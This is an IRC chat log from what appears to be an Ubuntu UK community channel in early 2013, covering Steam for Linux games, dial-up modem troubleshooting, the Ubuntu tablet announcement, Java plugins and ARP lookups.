<dwatkins> slightly embarassing for NVidia, and a shame no-one from Adobe in the relevant team chimed-in to say they'd looked into it and found it was a driver problem, much as I tried to get the product manager to spend some time on this
<awilkins> Hmm, not sure it's actually working
<dwatkins> html5 video?
<awilkins> Definitely flash
<mungbean> which version ?
<awilkins> The Smurf thing only happened on certain encodings as well
<awilkins> Flash 11.2.202
<mungbean> nvidia viersion?
<mungbean> it was a recent one that fixed it
<mungbean> experimental for sure should be ok
<awilkins> I think I'm on "OMG! Kitten Murder!"
<awilkins> I have Steam installed
<awilkins> nvidia-experimental-310
<popey> now is a good time to buy linux titles on steam
<mungbean> whic ones?
<popey> lots of discounts
<awilkins> All 47 of them!
<mungbean> logs in
<awilkins> Actually, now it's 108
<popey> i bought 9 games for ~25 quid last week
<popey> blimey, was 100 the other day
<awilkins> Hmm, do they bump things to the top of list when they are on offer
<awilkins> Sure Osmos isn't a new release
<awilkins> I do like that my Windows version of Osmos means a nice free Linux copy
<dwatkins> I'm looking forward to global thermonuclear warfare this evening (Defcon)
 * awilkins wonders if his keys will work on Steam
<popey> numberwang!
<dwatkins> 42
<awilkins> Zen Bound 2 looks like a relaxing bondage game for wooden toys
<popey> heh, yeah, it is
<mungbean> puddle looks like cataclysm whic i used to play on archimedes - anyone played puddle?
<dwatkins> I bought Puddle, too, as it looks neat.
<dwatkins> I was busy building a new desk yesterday, so havn't played Puddle yet, mungbean.
<awilkins> Hmmph, flash still has that bug where you can't manipulate the settings window from the vide
<awilkins> It annoys my daughter
<awilkins> She likes to play on CBeebies and lots of the games want local storage
<awilkins> I could configure it to permit that but I hate those games. Mental junkfood.
<dwatkins> don't ever clear your flash cache if you play flash-based games, you'll lose your score and level
<popey> Titan Attacks is a nice Space Invaders clone
<awilkins> I've played Revenge of the Titans from a HumbleBundle
<popey> directhex: is there a thing that tracks numbers of games per platform?
<awilkins> http://store.steampowered.com/browse/linux/
<awilkins> There's a table under "Find More"
<directhex> popey, on steam?
<popey> yeah
<directhex> windows: 1870
<popey> yeah, but thats just numbers
<popey> I was thinking something that got those numbers daily
<popey> so we could see a trend
<awilkins> http://steamcommunity.com/dev
<awilkins> Hmm
<directhex> popey, i don;t know if there's a simple export of the nbumbers. try looking at steamkit2, the library used by steamdb.info
<awilkins> Mmn, C#, frosted goodness
<directhex> so who has a tf2 linux t-shirt? http://store.valvesoftware.com/product.php?i=CTFL01
<funkychic> hey im back
<funkychic> is any one gonna talk to me
<popey> we talk to anyone
 * AlanBell is introverted
 * awilkins just waits for you to expose a weakness he can exploit
 * daubers inverts AlanBell 
<popey> blimey
<andylockran> any php developers want an interview?
<andylockran> London, central.
<andylockran> Opportunity to work with me
<andylockran> :D
<BigRedS> My brother probably does
<BigRedS> I keep telling him to get a proper job and stop bloody freelancing
<awilkins> Isn't interviewing people over IRC for a geographically tied role an oxymoron?
<BigRedS> andylockran: got an a fuller description somewhere?
<BigRedS> Oh. Apparently he's quite happy with his freelancing
<andylockran> No worries; job is what anyone makes of it on whatever salary they think is suitable for the job in their head :)
<awilkins> Ooh, Droid Assault looks a bit like a combo of Quazatron and Robotron
<awilkins> http://store.steampowered.com/app/219200/?snr=1_230_linux__103
<awilkins> Winner
<BigRedS> His actual words were "I'd do 2 days a week in central probably, If I didn't have to catch the tube before 9:30"
<awilkins> Smart man, valuing his lifestyle
<awilkins> I use to have a job I could get up at 0830 for and drive for 2 miles
<awilkins> Now I have a 50 mile commute each way and work for the government.
<awilkins> A government that seems to be doing it's level best to become Government PLC
<BigRedS> 50 mile commute? Blimey
<awilkins> Wigan <-> Leeds
<awilkins> Happily I only do this 3 days a week
<BigRedS> oh, that doesn't even look particularly pleasant. Is it basically sitting in traffic on the motorway for a few hours?
 * awilkins wonders if Droid Assault will work OK with XBOX controller on Linux
<awilkins> Yeah, it's about 1hr 20
<BigRedS> awilkins: that's exactly what Popey was asking earlier
<BigRedS> I *think* the consensus was 'yes' but I wasn't paying much attention
<bigcalm> Titan Attack
<awilkins> The motorway near Leeds has a whole bunch of roadworks with "Don't kill the roadies" speed limits
<awilkins> Have yet to see any roadies on the road when I commute through it
<awilkins> The train takes 2 hours and costs Â£33 return
<BigRedS> the road my work's on now is like that. It goes one-way with a 10mph convoy thing, and I've never passed anyone in the road
<awilkins> The car consumes Â£60 worth of diesel a week doing 4 days commutes
<BigRedS> Fortunately it's a 4m long road and we'rein the middle of it, so I only ever need to do 2miles at 10mph
<awilkins> Which is much better than the train. The hospital makes my wife pay for her parking space >-<
<awilkins> I quite fancy a Lit C-1
<awilkins> But they are not out yet
<awilkins> An electric car that looks a bit like a tron lightcycle with a 200m range? Yes please.
<awilkins> Hmm, soundtracks for games on steam I don't get
<awilkins> Especially games that probably use Vorbis assets anyway
<awilkins> I did go through a large amount of hassle to convert the soundtrack assets for Homeworld to WMA once
<awilkins> Shame that Linux audio players seem to hate WMA and make it click and stutter
<awilkins> (not a shame that WMA is as acceptible as bacon at a barmitzpah though)
<dwatkins> awilkins: which electric car is this which looks like a Lightcycle? :)
<popey> awilkins: which also makes a huge amount of noise with those twin gyroscopes
<popey> dwatkins: http://techcrunch.com/2013/02/18/tc-cribs-lit-motors-where-sleek-electric-cars-and-more-are-built-from-scratch/
<dwatkins> neat
 * skybinary needs one of those usb modems you connect to your landline, still having issues with the devices i have
<mungbean> rather cheesed off that so many steam games are not 64 bit
<dwatkins> I guess they wanted to have a wider audience.
<bigcalm> They still work on 64bit
<popey> why cheesed off?
<skybinary> can you help direct me to maybe a website that can list linux supported cable modems?
<skybinary> plz :D
<mungbean> i have a list of my games in steam, but cannot install supermeat boy etc etc on my "current platform"
<popey> thats not a 64-bit issue
<mungbean> really?
<mungbean> what is it@?
<popey> ask directhex âº
<mungbean> i thought he told me the other day and it was 64 bit realted
 * popey tries
<mungbean> they haven't uploaded those builds to steam yet
<popey> hmm, i dont see it listed
<bigcalm> Me neither
<bigcalm> I think it was there but has been removed
<mungbean> all games: then choose bit trip runner, SMB, etc
<mungbean> cortex command
<bigcalm> Same for that wonderful black and white game that I can't remember the name of
<mungbean> limbo
<popey> limbo
<davmor2> bigcalm: limbo
<bigcalm> Ta
<bigcalm> Heh
<mungbean> lugaru, machinarium
<popey> odd, limbo did work
<mungbean> machinarium is flippin flash
<popey> oh, i have that installed via humble bundle
<bigcalm> popey: limbo wouldn't install in steam for me
<skybinary> linux-drivers.org
<popey> skybinary: what modem do you think doesn't work with Linux?
<ahayzen> Hi, anyone know where this announcement in ~27min will be?
<popey> the website
<AlanBell> ahayzen: on the ubuntu.com website
<skybinary> hey popey i have two here
<mungbean> ahayzen: try putting your clock forward 28 mins
<bigcalm> Hehe
<ahayzen> AlanBell: Will an article appear or video stream or do we not know yet
<AlanBell> we do not know yet
<bigcalm> ahayzen: wait and see :)
<ahayzen> Mungbean: i'll try and see wht happens ;)
<directhex> mungbean, many games have linux ports, but not steam for linux ports
<mungbean> yes. which is a bit weird
<skybinary> popey, 047e:2892 Agere Systems, Inc. (Lucent) Systems Soft Modem is the first one
<ahayzen> bigcalm: i'm too excited though :(
<bigcalm> Running in various versions of wine
<mungbean> so also 32bit ports neither directhex ?
<popey> skybinary: thats a cable modem?
<directhex> mungbean, well if the port was subcontracted, they'd need to re-contract to get it into steam. they may not deem the cost worth the reward.
<bigcalm> ahayzen: excited about what though?
<mungbean> not sure where i got 64bit from
<skybinary> popey, yes
<directhex> mungbean, you're imagining 64-bit as an issue here. except for harvest massive encounter which has a buggy way of assuming you're on i386
<ahayzen> bigcalm: I don't know yet...probably the same thing i'm excited about for tommorrow
<mungbean> directhex: so i have steam redeem keys from HIBundle but they don't let me redeem them for linux..
<skybinary> well it is a usb to rj11 modem
<mungbean> 30-40% of them work
<mungbean> e.g. VVVVV, uplink
<popey> i have redeemed all my HIB steam keys
<popey> thats where half my games came from
<directhex> mungbean, steam for linux is newer than any HIB, so any HIB games working is a bonus
<bigcalm> Same here
<popey> skybinary: thats not a cable modem..
<mungbean> thank. seems i've been a bit naive about how steam works :D
<AlanBell> ahayzen: at the end of the countdown your browser will stop for 30 seconds then refresh the page
<popey> thats a broadband dongle isnt it?
<ahayzen> AlanBell: Ok thanks :)
<popey> skybinary: http://askubuntu.com/questions/106647/trouble-with-an-usb-modem-on-ubuntu-11-10
<mungbean> need to find my HL1 key
<AlanBell> popey: looks more like a pots modem
<einonm> popey: is that including the HIB game CaveStory+? that's the only one I've tried, and I get an 'executable not found' issue with it.
<skybinary> popey, what type of modem would you say it is?
<ahayzen> AlanBell: Ah yes see tht in the source code nice :) Thanks
<popey> skybinary: what are you hoping to do with it?
<AlanBell> skybinary: is that for dialup? 56k modem old style?
<popey> AlanBell: yes
<skybinary> popey, alan_bell the idea is to use kermit
<skybinary> to transfer log files to base
<popey> via a phone line?
<skybinary> from one of our mobile operatives
<skybinary> yes
<popey> right, so "modem" is the term I'd use âº
<popey> ok, so I haven't tried a modem for years
<popey> sorry
<skybinary> sok
<popey> yeah, missing executable einonm
<skybinary> i have rebuilt the kernel and no joy, i have make'd several vesrion from source and still no joi
<AlanBell> skybinary: that isn't a cable modem, it is a dialup modem
<einonm> popey: ah, no worries
<directhex> mungbean, owning a game on steam gives it to you on all platforms on steam (well, with one exception). that doesn't mean every game is *available* on every platform, just that if it were, you#d already own the port
<skybinary> thanks AlanBell
<AlanBell> skybinary: when you plug it in you should get a device /dev/ttyUSB0 or something
<skybinary> not with these two, i have no tty at all
<AlanBell> you can use minicom or similar to connect to that device and then do AT commands
<mungbean> directhex: thanks, i think i made a bit of an assumptive jump
<skybinary> i have experience with minicom sz rz and kermit seems the best
 * bigcalm gets a tear in his eye as he remembers the days of wvdial
<mungbean> i knew HL2 and oblivion would not work, but because HIB were linux builds, i kind of expected them automatically
<popey> Trumpet Winsock!
<AlanBell> skybinary: plug it in, wait a few secs, and type dmesg in a terminal
<skybinary> ok
<AlanBell> the last few lines might give you a clue about what is happening
<bigcalm> sudo tail -f /var/log/syslog and then plug in the modem
<AlanBell> that too
<popey> (with a stock kernel)
<popey> (i.e. the one the distro ships)
<bigcalm> After being bloomin' cold this morning, this afternoon is a touch toasty
<directhex> mungbean, let's say runic games had a fixed contract with out of order games to port torchlight, for HIB purposes. the port includes working and X hours of bugfixing. those hours are all spent (and some major bugs remain, e.g. missing heads). now runic need to either pay for more developer time to re-integrate with steam (e.g. achievements, all the general gardening involved in submitting binaries to steam) or they don't
<directhex> mungbean, that work will cost them X tens of thousands of dollars. will they make back X from increased sales?
<popey> probably not if all the customers already bought the game via HIB
<skybinary> AlanBell, http://pastebin.com/X7w5vKQz
<skybinary> i will now go and do what bigcalm  suggested
<popey> you'll get the same result
<skybinary> oh
<skybinary> thanks
<skybinary> my tests are costing a fortune Â£25 a day using the dongle, so i have to reduce costs before i am sacked, by using a dialup
<AlanBell> I think that is a winmodem, so you are basically out of luck
<AlanBell> why on earth would a broadband dongle cost Â£25/day?
<skybinary> its minutes i suppose, not broadband, dialup
<skybinary> i do have another one, lenovo, let me plug that in
<directhex> who works on one of those rumour-based ubuntu-centric blogs, like omgubuntu?
<neuro> TRRRRRRRRRRRRRUMPET WIIIIIIINSOOOOOOOCK!!!!
 * popey points directhex at d0od
<andylockran> ooh
<andylockran> HTC One is out on the HTC site
<andylockran> and I thought their countdowns were sync'd with the ubuntu one ?
<andylockran> & the HTC One is showing screenshots of Android?
<neuro> another htc one?
<AlanBell> not running Ubuntu phone then
<directhex> why would one of the world's biggest smartphone companies make a *flagship* phone with no app store?
<directhex> sure, they might make an ubuntu phone, and give it the same billing as the wildfire s. but a flagship device? c'mon
<skybinary> popey, allanbell here is the dmesg from modem #2 http://pastebin.com/nMiZu3Qz
<popey> skybinary: see http://forums.gentoo.org/viewtopic-t-508010-view-next.html?sid=eadc8bcfb6241f4a372dfef3e8a43e55
<skybinary> :) thanks popey
<neuro> directhex: biggest smartphone company?!
<neuro> they've dropped off the top five
<neuro> they have less than 4.3% market share
<AlanBell> directhex: I didn't think it would be running Ubuntu phone :)
<directhex> neuro, better than blackberry
<kvarley> 30 seconds
<neuro> and? :)
<kvarley> Oh, lol the timer is broken on ubuntu.com
<mungbean> htc desire is still in top 5 for common phones
 * kvarley had a desire
<mungbean> they have lasted well
<directhex> wife still has an htc sensation
<kvarley> popey: what am I meant to be seeing on ubuntu.com - the timer has broken at 00:00:00
<mungbean> www.ubuntu.com not responding
<mungbean> :S
<neuro> not exactly a good advertisement
<directhex> popey,  https://twitter.com/TimOfLegend/status/303587498934800384 :p
<popey> blah blah blah
<kvarley> mungbean: I was on it when it hit 0 and it is just showing a spinning loading icon for me
<skybinary> ok, now i know a winmodem wont work
<directhex> all usb modems are winmodems. tey work fine, but the documentation for them is all ancient, since it's 2013 and srsly dialup
<neuro> at some point, someone will realise that when you have a big announcement to make, you scale your web infra to cope with demand at the time of the announcement ... or am i just being stupid?
<popey> you're a) telling the wrong people, b) not telling us anything we don't already know
<popey> skybinary: why not using a 3g dongle?
<popey> or a wifi dongle
<neuro> popey: why so serious?
<kvarley> The announcement on ubuntu.com is meant to be saying that Ubuntu is coming to Tablets - download for developer preview on Thursday
<DJones> neuro: Maybe they have doubled/trebled it etc, but theres 4 times as much interest :)
<neuro> http://www.ubuntu.com/devices/tablet
<kvarley> Thanks neuro
<popey> i see a tablet âº
<mungbean> i blame the juju
<skybinary> the cost popey, Â£25 a day for my tests, i cant afford one penny of that
<mungbean> i see white screen
<DJones> https://www.youtube.com/watch?v=h384z7Ph0gU&hd=1 Might help
<mungbean> now i see a tablet
<skybinary> the company phone line on the other hand, they can pay and i can eat
<neuro> it's basically ubuntu phone, but for tablets
<andylockran> aww, it can't cope with demand :(
<neuro> there's no hardware announced
<kvarley> https://www.youtube.com/watch?v=h384z7Ph0gU&hd=1
<skybinary> but if it cant be done i understand
<AlanBell> skybinary: why is it costing so much?
<mungbean> i don't see a tablet, i see an article about tablets for OEMs
<popey> http://www.youtube.com/watch?v=5_4fXQcxFRs
<kvarley> Mark Shuttleworth has a really nice voice
<AlanBell> modem is going to be a *lot* more expensive for data than a broadband dongle
<skybinary> AlanBell, payg it costsa around Â£1 per test
<awilkins> OPinion : the unity "Show Desktop" is annoying because i) it shrinks all the windows on all the workspaces and ii) it doesn't have a "Now uncollapse them all back to where they were"
<neuro> i'm not sure this was something worth counting down to
<mungbean> i have the bug where youtube is2x as fast
<neuro> it should just have been punted on the website and a press release put out
<mungbean> i would def use this if it worked on my tablet
<kvarley> mungbean: I'm considering buying whatever device they are releasing it on
<neuro> would work nice on a nexus 7 methinks
<awilkins> The only cases I can think of for analog modems now are i) Communications with someone that mandates them (not entirely impossible)
<awilkins> or ii) third world nations (who probably have at least GPRS)
<kvarley> Wow, having the phone app slide out is awesome! yes yes yes!
<mungbean> not sure about marky marks new hair
<kvarley> Finally good multitasking
<neuro> awilkins: data access during power outage, since PSTN carries voltage
<awilkins> neuro, True, but what about cellular?
<awilkins> Cell towers usually also have good UPS
<skybinary> you know what would be cool, knowing which (modem) to buy, as i have bought 2 modems and Â£25 on credit#
<AlanBell> awilkins: not third world places, people nick the copper wires. Wireless all the way.
<neuro> awilkins: data access during power outage when you have poor/no cellular coverage then :)
<kvarley> I see Gimp on the tablet video, is that even possible?
<skybinary> so we are agreed dialup modems dont work on linux
<AlanBell> yes, they do
<AlanBell> winmodems don't
<Myrtti> skybinary: winmodems don't usually work, no.
<AlanBell> real modems do - however you really really don't want to use one
<skybinary> what about the lenovo one
<neuro> USR Sportsters, baby, now *those* were modems
<skybinary> the second one i bought after i found winmodems were no go
<AlanBell> how much data are you putting over it skybinary?
<skybinary> not alot about 4k
<AlanBell> and do you have a phone line on the server or are you hoping to find an ISP who still knows what dialup is?
<skybinary> is this lenovo modem a winmodem in disguise?
<awilkins> Oops, watching vid
<skybinary> there is a phone line, there is a computer, i thought linux, and there is modems
<awilkins> Marky Mark Shuttleworth lost me in the first sentence
<awilkins> "One unified experience for all personal computing"
<awilkins> No,no,no,no,no
<neuro> lol
<awilkins> That's why Windows 8 tanked
<neuro> "no, mark, WAT R U DOING!"
<andylockran> I like it
<kvarley> awilkins: I think the crucial point is that they aren't screwing with desktop users by making them use the tablet or phone interface
<kvarley> The interface adapts so it is fine
<mungbean> i like it more for tablet than anything
<awilkins> kvarley, Only 16 s in
<mungbean> however my tablet spec is a little low
<neuro> hey, you guys talking about winmodems, do none of you remember linmodem drivers?
<skybinary> so were agreed, dialup modems dont work on lnux
<awilkins> I shall watch rest and try not to kneejerk as much :p
<neuro> https://help.ubuntu.com/community/DialupModemHowto
<popey> wise
<neuro> skybinary: no, dialup modems work great on linux
<popey> people have preconceptions about what "unified experience" means
<kvarley> popey: What tablet are they releasing Ubuntu for on Thursday?
<mungbean> i think it means purple wallpaper
<neuro> lol
<popey> images for the n7 and n10
<neuro> PURPLE BOKEH!
<kvarley> popey: Thanks :) Now to find somewhere that does next day delivery :)
<mungbean> pizza for lunch = 4pm bellyache
<skybinary> thank neuro, i asked yesterday what modems work on linux and was told any, today i found winmodems dont and this lenovo modem does not
<neuro> don't say pizza
<neuro> i really really really want to try domino's hot dog and mustard stuffed crust :)
<skybinary> food :),
<awilkins> Anyone with lactose intolerance now provokes my brain to narrate them in the voice of Leonard Hofstader
<popey> skybinary: because you didnt say dial-up modems yesterday, we assumed 3g modems, sorry
<skybinary> oh ok, fair enough
<skybinary> sorry
<daubers> popey: When are they releasing the ubuntu for tablets image?
<skybinary> i hate my life
 * mungbean isn't lactose intolerant..just have random bellyache
<bigcalm> Just watched the video. Everything looks good. Mark could do with a new hair style though :S
<popey> 21st daubers
<neuro> noo, cover flow :(((
<mungbean> bigcalm: +1 needs ruffling
<kvarley> Nexus 7 vs Nexus 10 anybody?
<bigcalm> At the beginning I thought it was close to being a comb over :(
<daubers> Hmmm........ might grab another nexus 7 (pennies depending) and play
 * mungbean wishes he had money/spare money
<mungbean> new baby arrives next month
<daubers> mungbean: s/baby/moneypit/g
<awilkins> Ooh, voxhud
<awilkins> (well, that's what they should call it)
<kvarley> popey: If you were buying a tablet today would you pick the Nexus 7 or the Nexus 10? (With the sole intention of running ubuntu on it) :)
<neuro> so wait
<mungbean> daubers: converts money->poo
<neuro> if i take an ubuntu phone/tablet
<neuro> and connect a bt keyb/mouse
<neuro> it displays the regular unity interface?
<kvarley> neuro: On high end models yes
<neuro> "high end"
<neuro> you mean intel?
<kvarley> neuro: Not necessarily. The specs were floating about after the phone unveiling. I think it was 2GB RAM+ and quad core recommended
<neuro> the implication seems to be phone + touchscreen + keyb + mouse = unity
<popey> kvarley: i already have a nexus 7 âº
<kvarley> popey: Pretend you don't have that for a minute, which would you pick? :)
<mungbean> click the partners page, there are specs
<popey> kvarley: both ;)
 * neuro admits he uses his ipad more than his nexus 7, kindle fire hd and playbook combined
<neuro> tempted to get shot of the kindle, actually
 * awilkins uses his eInk Kindle more than the iPad he doesn't have
<kvarley> popey: Thanks for being so helpful :P I was leaning towards a 7. :)
<neuro> awilkins: i use my macs more than the ubuntu desktops i don't have ;)
<einonm> Is it true that you can only run 2 apps at a time on the tablet?
<neuro> and more than my NeXT Cube that i don't have as well
<awilkins> einonm, From that video, no
<kvarley> einonm: Where did you hear/see that?
<awilkins> einonm, One shot was of the "switch between the humungous number of apps I'm running" UI
<popey> kvarley: I dunno, I have an ipad, a 10" tablet, two nexus 7's.. I kinda have enough âº
<mungbean> 2 nexi 7s?
<popey> einonm: no
<neuro> popey: what's the second one?
<larryo__> Hello, is there any better java plugin apart from icedtea?
<neuro> the best thing to do with java plugins is uninstall them as fast as you can
<einonm> awilkins: didn't get that far in the vid, probably just a misunderstanding, but - http://www.ubuntu.com/devices
<kvarley> popey: Ok, thank you :) I think I'm gonna go with the Nexus 7. Thursday will be an exciting day! :)
<popey> neuro: one is mine, one is family
<awilkins> Question about inotify - do you really need to grab a handle to every file in a filesystem, or can you just watch the root folder?
<neuro> popey: sorry, i meant what's the 10" tablet? asus?
<popey> no, a cheapo chinese one
<awilkins> einonm, Ah, it's referring to the "run another app stuck to the side for multitask productivity" feature
<neuro> nice
<popey> I used to have an asus, not any more
<andylockran> is there any news on the ubuntu for android 'docking' being available on the ubuntu phone ( and now tablet) ?
<larryo__> @neuro why?
<awilkins> einonm, Can multitask, but you can have 2 apps onscreen as long as one supports phone layout
<neuro> larryo__: because java is evil and must be purged
<einonm> awilkins: ok. Kinda cool.
<kvarley> popey: Oh but the Nexus 10 has mini hdmi output ... hhhmmm
<neuro> the phone layout thing looks interesting
<kvarley> popey: *micro HDMI
<popey> side stage
<neuro> as long as it's better than the stupid split screen thing in win8, which is useless
<larryo__> so what would you use in place of that? @neuro
<awilkins> Java isn't evil
<neuro> larryo__: anything that isn't java
<neuro> java IS evil, and MUST be purged!
<popey> helpful help would be helpful here neuro
<popey> larryo__: what's the problem you're having?
<neuro> BUT IT MUST BE PURG... oh, ok
<awilkins> I like Java, because it means I can use Ubuntu for all my productive work and not want to kill myself because I'm trapped in the corporate build of Windows
 * neuro feels the glare of the popey
<larryo__> @neuro if you have no help to offer, don't offer anY!
<neuro> well.
<popey> ok.. lets get helpful.
<popey> larryo__: what apps are you having problems with?
<ubuntubhoy> popey: will the tablet UI run on a Desktop install ?
<neuro> larryo__: you asked a rather subjective question ... the answer would depend on what your metrics are for "better" ... have you had problems with the kosher oracle install?
<larryo__> I am running a "live terminal" for accesing shares prices and that requires java @ popey
<neuro> or are you just trying to stay clear of proprietory softare?
<neuro> s/softare/software/
<larryo__> I have only tried icedtea @ neuro
<neuro> ok, so you're just cadging about for opinions on what others are worth trying
<neuro> and your options really are icedtea 6, icedtea 7, oracle 6 or oracle 7
<neuro> unless i've missed something here
<larryo__> well the iced doesn't run all athe fields in the table. fore xample I can see the names of the  shares but not the prices in the next field
<neuro> you should probably try kosher oracle java
<larryo__> ok thank you
<neuro> i apologise for my randomness
<popey> yeah, I'd be inclined to agree, sadly
<larryo__> cool, no problems
<neuro> i do usually follow up the randomness with actual advice, honest :)
<neuro> larryo__: have you read https://help.ubuntu.com/community/Java ?
<neuro> erk
<neuro> nasa has lost full comms with ISS
<neuro> they can only contact them every 90 minutes
<awilkins> That's a bit less erk
<SuperMatt> neuro: source?
<neuro> but still
<mgdm> neuro: eep
<neuro> SuperMatt: cnn notification on my phone
<SuperMatt> I know they're doing a systems upgrade at the moment
<mgdm> neuro: I blame Reddit
<SuperMatt> hah
<SuperMatt> sounds about right
<AlanBell> communication is now only via twitter
<neuro> oops, forgot my phone goes all James Earl Jones every time i start the cnn app
<neuro> "THIS ... IS CNN"
<awilkins> THey should make a plugin that does that for every website
<neuro> http://www.nasa.gov/mission_pages/station/expeditions/expedition34/e34_021913.html
<neuro> SuperMatt: looks like you nailed it re the systems upgrade
<SuperMatt> I did :D
<neuro> so they only have ground comms, no TDRS
<SuperMatt> well, some comms is better than no comms
<SuperMatt> and I'm sure that they're pretty damn safe up there
<neuro> yeah
<SuperMatt> probably many orders of magnitude safer than being down here
<neuro> well
<awilkins> So - VoxHud - does it run locally or does it ship your audio to the cloud like Siri
<neuro> if a micrometeroid comes through my window, i'm sure i'll survive ;)
<awilkins> SuperMatt, Ooooh, no, not nearly as safe as being down here
<neuro> awilkins: ooh, interesting
<SuperMatt> but there are murderers and rapists and bronies down here :(
<AlanBell> I am guessing locally awilkins
<neuro> yeah, but they're not in my house *right now*
<awilkins> SuperMatt, Yes, but they don't demineralize your bones and bombard you with cosmic radiation
<neuro> THEY MIGHT!
<SuperMatt> for the daily mail tells me so!
<neuro> nooooooooo!
<awilkins> WE should form a secret society of Daily Mail baiters
<awilkins> Make up progressively more ludicrous stories with a conservative bent
<AlanBell> awilkins: the local device knows what menu options are available in the HUD so can assemble a vocabulary to pass to pocketsphinx to recognise against
<neuro> we should form a public society of Daily Mail ignorers
<AlanBell> the server would have to be recognising against a much bigger vocabularly set and I can't see the server infrastructure for that paying for itself for the hud
<awilkins> AlanBell, Groovy. I like HUD, even if I have to tinker with the libraries to make it work with Eclipse (where it's really useful because of the 20,000 menu items)
<AlanBell> yeah, I like it in concept, not very keen on the UI implementation of it
<awilkins> 'tis a shame that not more of the widget toolkits have been ported to global menus
<awilkins> Yeah, it has it's weaknesses
<neuro> awilkins: https://twitter.com/utterben/status/303859517618274305/photo/1
<awilkins> Like the one where it's early guesses are better than more fully spelt ones
<neuro> awilkins: only 20,000?
<AlanBell> I have been wanting to voice control it for a while, but it was one of those things that would be a pointless project for me to do for fun as Canonical were obviously going to do it their way later
<awilkins> And of course, if you work in an open plan office you look like a dork talking to your computer
<neuro> that's my main concern
<popey> "Computer!"
<neuro> i don't want to look like a doofus
<popey> "Main screen on!"
<neuro> "Just use the keyboard"
<AlanBell> I would have to put a microphone in a mouse ;)
<popey> "Escape!"
<popey> "Control C!"
<popey> etc
<awilkins> The "Just use the keyboard" error would have to be in Montgomery Scott's voice (no, it wasn't him in the movie, yes, James Doohan is dead, etc)
<neuro> rumours kicking around about the next gen xbox are saying it can be switched on/off by voice
<awilkins> What do you say? "I want to play a second hand game." ?
<neuro> "I'm sorry, Dave, I'm afraid I can't do that"
<popey> "download abandonware"
<neuro> and what you do mean, "it wasn't him in the movie"?
<awilkins> He didn't have that line in the movie
<mgdm> neuro: did you see that Far Cry 3 review th eother day? I'd love to see it work for that guy's voice
<neuro> oh right
<awilkins> It was the manager of the plastics factory
 * Dave2 stares at neuro 
<neuro> well it was *said* to him :)
<neuro> mgdm: no?
 * neuro stares at Dave2
<mgdm> neuro: http://kotaku.com/5983826/this-scottish-far-cry-3-video-review-is-the-funniest-thing-ever-if-you-can-understand-it - nsfw audio, and actually is just a relatively stanard central accent, but you get what I mean
<neuro> the internet has everything: http://www.youtube.com/watch?v=v9kTVZiJ3Uc
<neuro> (sfw)
<neuro> mgdm: watching now
<neuro> mgdm: LOL at the titles
<AlanBell> o/ Dave2
<andylockran> ma, this is like old times.. where's Daviey
<neuro> mgdm: that was crackin
<awilkins> Hmm, now tempted by Far Cry 3
<neuro> those guys (whose name i cannot repeat here) are mates with @bitsocket
<mgdm> neuro: aye
<awilkins> Curse you, fat Scottish Ginger Bloke
<mgdm> Oi
<mgdm> I resemble that remark
<awilkins> Only cursing that *specific* FSGB in a tongue in cheek manner
<neuro> loved the game songs bit
<awilkins> I enjoyed his ribaldry and down to earth review
<neuro> "gonnae chib every **** in the land of skyrim!"
<awilkins> I really enjoyed Skyrim when I installed the Dragon Shouting mod
<awilkins> But it petered out before I finished it
<neuro> so tempted now to do an nsfw linux podcast in a similar vein
<neuro> i did a couple of recordings years ago pretending to be a ned (chav) talking about ubuntu
<neuro> realised it was a bit poo and didn't publish :)
<mgdm> heh heh
<neuro> maybe we should try and do slugradio again, but just remove the "lugradio" element
<awilkins> Even the teaser video for FarCry3 is really slick and epic
 * Dave2 waves back at AlanBell form his horribly laggy machine
<BigRedS> Is there a more elegant way to resolve an IP address into a mac address than a ping followed by an arp -a?
<einonm> BigRedS: a ping and an arp -a wrapped in a script called 'resolve_ip'? :)
<redtape-renegade> Terrific day today ...
<MartijnVdS> BigRedS: resolve IP to mac = arp :)
<BigRedS> einonm: haha, yeah, that might end up being it
<BigRedS> I'm modifying an already-inelegant script and don't want to add to the mess too much :)
<MartijnVdS> â« Hackity hack
<BigRedS> MartijnVdS: yeah, but arp only seems concerned with changing things or showing a cache. Seems odd that I first need to find some other means of getting the ip/mac into a cache
<BigRedS> I want arp's dig
<einonm> break out the script into little scripts connected together? Unix rule of modularity and all that...
<redtape-renegade> The Manx budget came out and There has been a 10% Tax on profit for PC World and all other retailers ( which means they will **actually pay tax** here) .. hopefully this means that all of the Smaller computer traders won't be put out of business.. Hurrah  for the little man !! \o/
<redtape-renegade> Waltons-Digital-World being the little Man ;)
<BigRedS> bah. you need to be root to run arp...
<BigRedS> wait. no
<BigRedS> it's just in /usr/sbin
<BigRedS> whoo!
<redtape-renegade> BigRedS: Hi Five o/
<redtape-renegade> Brill day today ...
<MartijnVdS> *\o/*  */o\* ?
<redtape-renegade> hi MartijnVdS  .. My folks are in Holland next wekend .. :)
<redtape-renegade> .. perhaps you could link up  ??
<MartijnVdS> redtape-renegade: my weekend is fully booked, sorry :)
<redtape-renegade> ok .. No prob.s .. :D
<redtape-renegade> Man it's a brilliant day today .. All I need is some b$tches for my batcave .. Where d'em at ??
<MartijnVdS> Not anywhere near you if you refer to them like that, I hope :)
<redtape-renegade> hey money talks !
 * redtape-renegade puts on * Deadmau5 * to live the dream for the rest of the day :)
<MartijnVdS> yeah but community guidelines speak louder :)
<MartijnVdS> redtape-renegade: if you want to dream, http://open.spotify.com/user/martijnvds/playlist/2UHNlhHRMcziirEn188343
 * redtape-renegade apologises .. just feeling the wave atmo .. 
<redtape-renegade> opening..
<redtape-renegade> Great .. playing â« Girl from Jupiter now :) .. Is it ok if I add that playlist to my playlist page ?
<MartijnVdS> redtape-renegade: sure
<jacobw> evening
<mungbean> football is making me sad :(
<redtape-renegade> Is this TRUE ??
<redtape-renegade> http://news.slashdot.org/story/13/02/18/2236218/canonical-announcing-ubuntu-tablet-tomorrow
<dwatkins> did you see ubuntu.com, redtape-renegade?
<redtape-renegade> opening...
<redtape-renegade> Crumbs, have I been late to the shooting match ... Is there a #channel for this ??
<dwatkins> yes, #ubuntu-tablet, redtape-renegade
<ali1234> "you donât have to keep returning to the home screen every time you want to switch apps"
<ali1234> you don't have to do that on any tablet
<ali1234> people just do it because it's the most efficient way
<MartijnVdS> my mum uses the app switcher on android all the time
<mgdm> On iOS I've taught quite a few people the double-tap-home trick
<mgdm> it's not very discoverable, though I use it quite a bit
<ali1234> starting to wonder if canonical UI designers have ever used any computer or mobile device
<ali1234> i mean, previously i thought they only used macs and iphones or something
<dwatkins> you can also swipe between apps
